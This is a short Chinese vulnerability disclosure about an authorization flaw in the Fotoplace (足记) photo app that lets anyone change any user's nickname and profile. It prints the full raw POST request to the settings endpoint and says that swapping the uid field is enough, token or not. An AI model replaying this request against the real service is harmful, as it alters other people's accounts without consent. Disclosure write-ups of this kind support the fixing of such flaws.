某APP越权可修改任意用户的昵称

没事对比较热门的APP足记(fotoplace)简单的看了看，发现有一处越权的存在。

问题出现在修改任意用户的profile
 

POST http://fotoplace.cc/api2/user%2Fuser_change_settings.php HTTP/1.1
Content-Type: multipart/form-data; boundary=9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Length: 1026
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.0.4; GT-P7510 Build/IMM76D)
Host: fotoplace.cc
Connection: Keep-Alive
Accept-Encoding: gzip

--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="version"
Content-Type: text/plain; charset=UTF-8
Content-Length: 3
Content-Transfer-Encoding: binary

2.3
--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="uid"
Content-Type: text/plain; charset=UTF-8
Content-Length: 7
Content-Transfer-Encoding: binary

1658128
--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="userName"
Content-Type: text/plain; charset=UTF-8
Content-Length: 7
Content-Transfer-Encoding: binary

davex_9
--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="location"
Content-Type: text/plain; charset=UTF-8
Content-Length: 6
Content-Transfer-Encoding: binary

China 
--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="description"
Content-Type: text/plain; charset=UTF-8
Content-Length: 21
Content-Transfer-Encoding: binary

随便写点什么吧
--9d78dba9-06a9-4812-a428-8ae3a987e71d--

把ID修改了就可以POST了，有token和没token都可以。


已经测试了一个帐号，为了让足记更好的发展，我就不继续测试下去了 :-)

解决方案：

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